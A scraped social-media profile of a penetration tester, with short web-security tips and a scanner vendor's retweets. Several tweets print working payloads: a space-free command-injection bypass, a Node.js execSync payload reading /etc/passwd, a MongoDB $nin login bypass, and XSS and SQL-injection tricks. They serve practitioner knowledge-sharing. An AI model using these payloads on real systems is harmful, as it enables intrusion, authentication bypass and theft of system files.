Orhan Albay (@OrhanAlbay) profile picture

Orhan Albay

@OrhanAlbay

Senior Software Developer | Offensive Security Certified Professional (OSCP)

Joined February 2012
  • Tweets49
  • Following51
  • Followers163
4Media
Photo by Orhan Albay (@OrhanAlbay)Photo by Orhan Albay (@OrhanAlbay)Photo by Orhan Albay (@OrhanAlbay)Photo by Orhan Albay (@OrhanAlbay)
uniqid() — insecure PHP function medium.com/@orhan.albay/uniq…
uniqid() — insecure PHP function

uniqid() — insecure PHP function

During a penetration testing, I encountered a page which uploads a file with randomly generated name by PHP “uniqid()” function. In…

medium.com
121
Orhan Albay retweeted
Rapplex (@RapplexOfficial) profile picture
Rapplex@RapplexOfficial5 Feb 2024
🎉Rapplex is successfully integrated into Discord and Telegram platforms! We are also fully integrated with 11 global platforms such as Azure DevOps, GitHub, GitHub, Jira, Slack, Asana, Trello. Rapplex is here to make your work easier to manage and your communication stronger!
Image from Rapplex (@RapplexOfficial)
Image from Rapplex (@RapplexOfficial)
1
155
🚀 Rapplex Web App Security Scanner ! 🔗Filled with brand new features and additions, this update takes things to the next level.
Image from Rapplex (@RapplexOfficial)
Image from Rapplex (@RapplexOfficial)
1
79
I tried harder @offsectraining
Image from Orhan Albay (@OrhanAlbay)
12
11
3
250
View my verified achievement from @offsectraining. I tried harder! credly.com/badges/c3135bec-c…

Offensive Security Certified Professional (OSCP) was issued by Offensive Security to Orhan Albay.

An OSCP has demonstrated the ability to use persistence, creativity, and perceptiveness to identify vulnerabilities and execute organized attacks under tight time constraints. OSCP holders have also...

credly.com
2
3
25
Not only script but all elements must be lower case also
1
Because XML is case sensitive
#til #xss when XSS injection occurs in an XML document
Image from Orhan Albay (@OrhanAlbay)
2
3
13
Command injection without space, $, {, } Python3 or PHP on server? uname`cat<<<'<?="\x20"?>'|php`-a uname`cat<<<'print("\x20")'|python3`-a
2
54
100
Probably well known already, but you don't need to use document.location.hash.slice, use unescape(location) with %0a jsfiddle.net/d78mmcfe/
JSFiddle - React, Tailwind, and code Playground

JSFiddle - React, Tailwind, and code Playground

JSFiddle - Test your React, Tailwind, JavaScript, CSS, HTML online with JSFiddle.

jsfiddle.net
1
4
Well obviously 1s are more dangerous than 0s. * Chrome's XSS Auditor is a marvelous piece of software.
Image from Sven Morgenroth (@asdizzle_)
2
1
5
#tip #mongodb {"user": {$nin: ["foo"]}, "pass": {$nin: ["bar"]}} bypass login in mongodb with $nin operator as an alternative to $regex
10
12
you can try online mysqltutorial.org/tryit/ table: customers
1
3
#sqli error based SQL injection - Finding column count in just two steps, not required to try one by one
Image from Orhan Albay (@OrhanAlbay)
5
60
2
135
Image from Orhan Albay (@OrhanAlbay)
3
arguments[1].end(require('child_process').execSync('whoami')) arguments[1].end(require('child_process').execSync('cat /etc/passwd'))
1
#NodeJS #RCE - arguments[1] will refer to the response object even if its name is not common like "res", "response".
1
2
3
#til #xss When injection is right after the opening HTML comment (--> : blacklisted) <!--INJECTION --> input = >... output = <!-->...
13
29
Verifying myself: I am albay on Keybase.io. f7Kf9MTWrOiX1xm8dMnRep09JZROwOuko1Xo / keybase.io/albay/sigs/f7Kf9M…
@onuryilmazinfo sana sorarım artık takılırsam :)
1
Load more